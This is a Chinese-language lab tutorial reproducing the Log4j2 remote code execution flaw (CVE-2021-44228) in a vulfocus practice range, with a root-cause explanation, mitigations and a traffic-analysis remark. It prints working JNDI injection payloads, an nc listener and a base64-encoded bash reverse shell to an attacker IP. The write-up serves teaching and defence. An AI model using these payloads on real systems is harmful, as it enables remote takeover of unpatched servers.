web中间件漏洞之(1)log4j2远程代码执行漏洞
引言
Log4j是Apache组织开发的一个Java平台的日志工具,还能记录代码运行时的动态轨迹,常用于递归解析。正是由于其递归解析的能力,导致存在RCE(远程代码执行)漏洞,漏洞存在版本为:Apache Log4j 2.x<=2.14.1,所以也叫做log4j2 RCE漏洞
搭建vulfocus靶场
git clone https://github.com/fofapro/vulfocus.git
cd vulfocus
systemctl start docker
sudo docker-compose up -d # docker拉取并启动靶场
启动后直接访问虚拟机IP:192.168.10.170,用户名admin,密码admin
在vulfocus靶场搭建log4j2环境:Log4j2远程命令执行(CVE-2021-44228),靶机为192.168.10.170:49966
使用dnslog探测漏洞是否存在
dnslog是DNS服务器上存储的用户对域名的查询信息。www.dnslog.cn是一个可以生成子域名,并统计该域名被DNS解析记录的网站,可以用来作为服务端探测本地的log4j是否存在解析漏洞。
点击Get SubDomain生成该网站的一个子域名,如lof4ot.dnslog.cn,然后用浏览器访问lof4ot.dnslog.cn。回到dnslog,点击Refresh Record可以看到该域名的解析记录。dnslog可以帮助我们发现目标网站的解析漏洞,即目标网站是否能够像刚才这样访问该子域名
根据子域名构造payload
${jndi:ldap://lof4ot.dnslog.cn/exp}
url编码后为
%24%7Bjndi%3Aldap%3A%2F%2Flof4ot.dnslog.cn%2Fexp%7D
访问
http://192.168.10.170:49966/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Flof4ot.dnslog.cn%2Fexp%7D
发现返回ok,www.dnslog.cn查看日志,发现有新的解析记录。
这说明服务器存在解析漏洞,也就是说服务器将输入的payload执行了
漏洞复现
- 攻击机192.168.10.129打开端口7777接收反弹shell
nc -lvvp 7777
- 攻击机Apache-Log4j-Learning/tools at main · bkfish/Apache-Log4j-Learning (github.com)下载JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,启动jndi服务器。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.10.129
其中
- -c后面是对反弹shell指令
bash -i >& /dev/tcp/192.168.10.129/7777 0>&1
进行base64编码的结果 - -A后面是攻击机服务器的IP
- 该命令的含义是:启动jndi服务,并执行一个bash命令:echo输出一段经过 Base64 编码的反弹shell指令,然后使用 Base64 解码得到原始字符串,并将该字符串作为命令输入传递给 Bash shell,并以交互模式打开 Bash shell。最后将shell反弹给攻击机
结果会生成一些payload,第一行是各版本JDK通用的payload
-
构造payload
${jndi:rmi://192.168.10.129:1099/nvjjge}
进行URL编码,然后填入URL中
http://192.168.10.170:25527/hello?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.10.129%3A1099%2Fnvjjge%7D
-
访问该地址,攻击机即可获得反弹shell
漏洞原理
- 递归解析:org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“${”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身
- 当攻击者访问构造好的URL时,${jndi:rmi://192.168.10.129:1099/nvjjge}被注入到log4j日志文件中,由于log4j会递归解析,目标会通过rmi调用远程服务(rmi允许在网络上的一个 JVM 中调用另一个 JVM 中的对象方法),当rmi服务收到请求之后,将请求进行重定向到恶意 java class的地址,也就是192.168.10.129:1099/nvjjge
- 目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行反弹shell的命令
防范方法
- 升级log4j版本
- 设置参数-Dlog4j2.formatMsgNoLookups=true,阻止日志输出时对占位符${}内容解析
流量分析
wireshark监听,发现有RMI协议的流量,查看其内容,包含反弹shell的命令